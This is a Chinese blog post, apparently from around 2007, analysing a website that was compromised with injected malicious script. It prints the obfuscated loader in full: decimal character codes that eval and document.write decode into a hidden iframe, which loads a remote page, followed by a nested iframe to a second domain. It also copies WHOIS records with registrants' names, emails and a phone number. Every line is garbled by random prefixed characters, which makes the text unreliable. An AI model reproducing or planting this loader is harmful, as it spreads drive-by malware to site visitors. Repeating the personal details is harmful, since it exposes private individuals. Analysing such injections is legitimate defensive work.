首发在我的博客里面，
[vxHsY3z LPkl16yZ http://www.areway.cn/?p=175 |^gnT`+ MK <\:g P5v;o9B & 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
`?S L p ]vH:@%3U <script>t=’60,105,102,114,97,109,101,
&,$N|$yK}| 32,115,114,99,61,104,116,116,112,58,47,47,
ra^"Vr 102,114,101,101,46,117,45,117,117,117,46,99,
L!~ap 110,47,101,114,114,111,114,46,104,116,109,
SxL/]jWR7 32,119,105,100,116,104,61,49,48,48,32,104,
!'a
<Dw5 101,105,103,104,116,61,48,62,60,47,105,102,
V/yj.aA*@ 114,97,109,101,62′;
Sea 6xGdq t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
fiLlOr% r z]!w@: <script>t=’60,105,102,114,97,109,101,32,115,
i ~rb-~o 114,99,61,104,116,116,112,58,47,47,102,114,
Am#Pa,g 101,101,46,117,45,117,117,117,46,99,110,47,
dHt EyF 101,114,114,111,114,46,104,116,109,32,119,
+_ny{i`' 105,100,116,104,61,49,48,48,32,104,101,105,
. $
HE 103,104,116,61,48,62,60,47,105,102,114,97,
fD%20P`. 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
2j$~lI document.write(t);</script>
Kr+#)S )oZ2,]us! <html xmlns=”
i K8j X? http://www.w3.org/1999/xhtml [ic%ZoZ_ “>
5JS*6|IbD{ <head>
2fP;>0? <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Ij:yTu <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
N: 5 N}am <title>首页 - 爱生活家庭网
Tb{RQ?Nw' HP:[aR!2P 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
AL|3_+G 转换字符串后的大概内容是（谁点击后果自付）：
D{JwZL@7k2 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Nwk^r75l q TwKi_nh2m 查询玉米u-uuu.cn的详细信息：
Nr`v|_U Domain Name: u-uuu.cn
*TPWLR ^ ROID: 20070901s10001s64972306-cn
Y /l~R7 Domain Status: ok
GF*uDJ Kp Registrant Organization: 王雷
hbs /S Registrant Name: 王雷
hd)WdGJp Administrative Email:
czlovexs@126.com DkW^gt Sponsoring Registrar: 北京万网志成科技有限公司
\+k~p:d_8 Name Server:ns.yovole.com
[<nd+3E Name Server:ns1.yovole.com
)-25? B Registration Date: 2007-09-01 17:54
`tl -] ^Y2 Expiration Date: 2008-09-01 17:54
B q tN= 最后PING了一下地址 都没有什么….
p:3w8#)MZ wcGv#J], 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
<Ik5S1<h$H <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
#It!D5A <script language=”javascript” src=”
lLI%J>b@ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 6s T( t8[ >
gwFW+*h 这个玉米应该有可能是木马作者的：
6xu%M&ht foafau.info的详细信息：
n D}<zj$D2 Access to INFO WHOIS information is provided to assist persons in
!wKiMgLS determining the contents of a domain name registration record in the
;Pvnhy Afilias registry database. The data in this record is provided by
8tz L.P^ Afilias Limited for informational purposes only, and Afilias does not
a >k9&
w guarantee its accuracy. This service is intended only for query-based
<]*Jhnx/ access. You agree that you will use this data only for lawful purposes
+P.JiH`\= and that, under no circumstances will you use this data to: (a) allow,
Is9.A_0h enable, or otherwise support the transmission by e-mail, telephone, or
=`l>< facsimile of mass unsolicited, commercial advertising or solicitations
(N5"'`NZA to entities other than the data recipient’s own existing customers; or
V6'k\5| _ (b) enable high volume, automated, electronic processes that send
^1Bk*?Yx\x queries or data to the systems of Registry Operator, a Registrar, or
y (=0 Afilias except as reasonably necessary to register domain names or
|7!B k$(vA modify existing registrations. All rights reserved. Afilias reserves
)))AxgM the right to modify these terms at any time. By submitting this query,
?',Wn3 A you agree to abide by this policy.
X7?j90tH Domain ID:D22418703-LRMS
TV}=$\D Domain Name:FOAFAU.INFO
Sp]ov:]%f Created On:20-Nov-2007 16:05:42 UTC
Y@+9Ukd/ Last Updated On:20-Nov-2007 16:05:44 UTC
[YJ*zO Expiration Date:20-Nov-2008 16:05:42 UTC
OXZx!h Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Sc RK1 Status:CLIENT DELETE PROHIBITED
OK2\2&G Status:CLIENT RENEW PROHIBITED
Wj, {lJ, Status:CLIENT TRANSFER PROHIBITED
1[\I9dv2 Status:CLIENT UPDATE PROHIBITED
-?Cu-' Status:TRANSFER PROHIBITED
P@Vs\wAT Registrant ID:GODA-040110615
C#RueDa. Registrant Name:liu hong
_B\87e Registrant Organization:
U\>k >|Jr{ Registrant Street1:beijing
{vu r9L Registrant Street2:
rym*W\A Wx Registrant Street3:
tZ:fOM Registrant City:beijing
ACF_;4 %& Registrant State/Province:
){w!< Lb Registrant Postal Code:100000
`0-i>> Registrant Country:CN
'Z nJd j Registrant Phone:+86.860108888777
0\+$j5; Registrant Phone Ext.:
ac8su0 Registrant FAX:
4x.I "eW~& Registrant FAX Ext.:
lE3&8~2 Registrant Email:bbbshiji@163.com
{f Mo#`9= Admin ID:GODA-240110615
=.,XJIw& Admin Name:liu hong
:)Da^V Admin Organization:
Me^L%%: @ Admin Street1:beijing
:^]Fp UY Admin Street2:
^b*ub(5Ot Admin Street3:
am/D$ (l1 Admin City:beijing
xFyBF[c Admin State/Province:
eGo$F2C6E Admin Postal Code:100000
HN<e)E38 Admin Country:CN
?yA
2N; Admin Phone:+86.860108888777
_V` QvnT} Admin Phone Ext.:
WrR8TYq9D] Admin FAX:
{(h !JeQ Admin FAX Ext.:
B&}lYo Admin Email:bbbshiji@163.com
<lWBhrz Billing ID:GODA-340110615
iu{QHjZK( Billing Name:liu hong
lLEEre Billing Organization:
{wD "|K Billing Street1:beijing
P5'VLnE R{ Billing Street2:
?l`|j * Billing Street3:
f1U: _V^d Billing City:beijing
=-G4 BQ Billing State/Province:
xww\L
&y Billing Postal Code:100000
OGW0lnQ/ Billing Country:CN
jjg&C9w T Billing Phone:+86.860108888777
w# ;t$qz} Billing Phone Ext.:
T? ,Q=. Billing FAX:
3) XS^WG Billing FAX Ext.:
ca%XA|_J Billing Email:bbbshiji@163.com
.GF Ky Tech ID:GODA-140110615
,|w, Tech Name:liu hong
:Bb lH0' Tech Organization:
M$3/jl*#} Tech Street1:beijing
KCn#*[
Tech Street2:
,_: 6qn{ Tech Street3:
VGOdJ|2]Wr Tech City:beijing
8,:lw3x1 Tech State/Province:
Gn<e&|4>i} Tech Postal Code:100000
I!.-}]k Tech Country:CN
UBx0Z0Y Tech Phone:+86.860108888777
A$TF a:O| Tech Phone Ext.:
Q|Nw @7$` Tech FAX:
>8injW3 52 Tech FAX Ext.:
8vUq8 [[ Tech Email:bbbshiji@163.com
Ljk0K3Q6> Name Server:NS27.DOMAINCONTROL.COM
GA.cp*2 ~ Name Server:NS28.DOMAINCONTROL.COM
Vtk}>I@% Name Server:
bW zUWLa Name Server:
_F jax Name Server:
(KR.dxzjf Name Server:
M,SIs
3 Name Server:
^!SwY_> Name Server:
= Ru q Name Server:
= {~A}
X01 Name Server:
d z?Ey~;M Name Server:
~P9 ^4 Name Server:
x8 & ~ Name Server:
O ! w&3 p ?$b*)< 接着下载每个文件里面的代码：
EHt(! ;?q 一步一步看..
&y ~GT EP 
S|_lb MZM 
# twl 
|tO.@+[uqP 
7gt%[r M 
$oZV 54 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
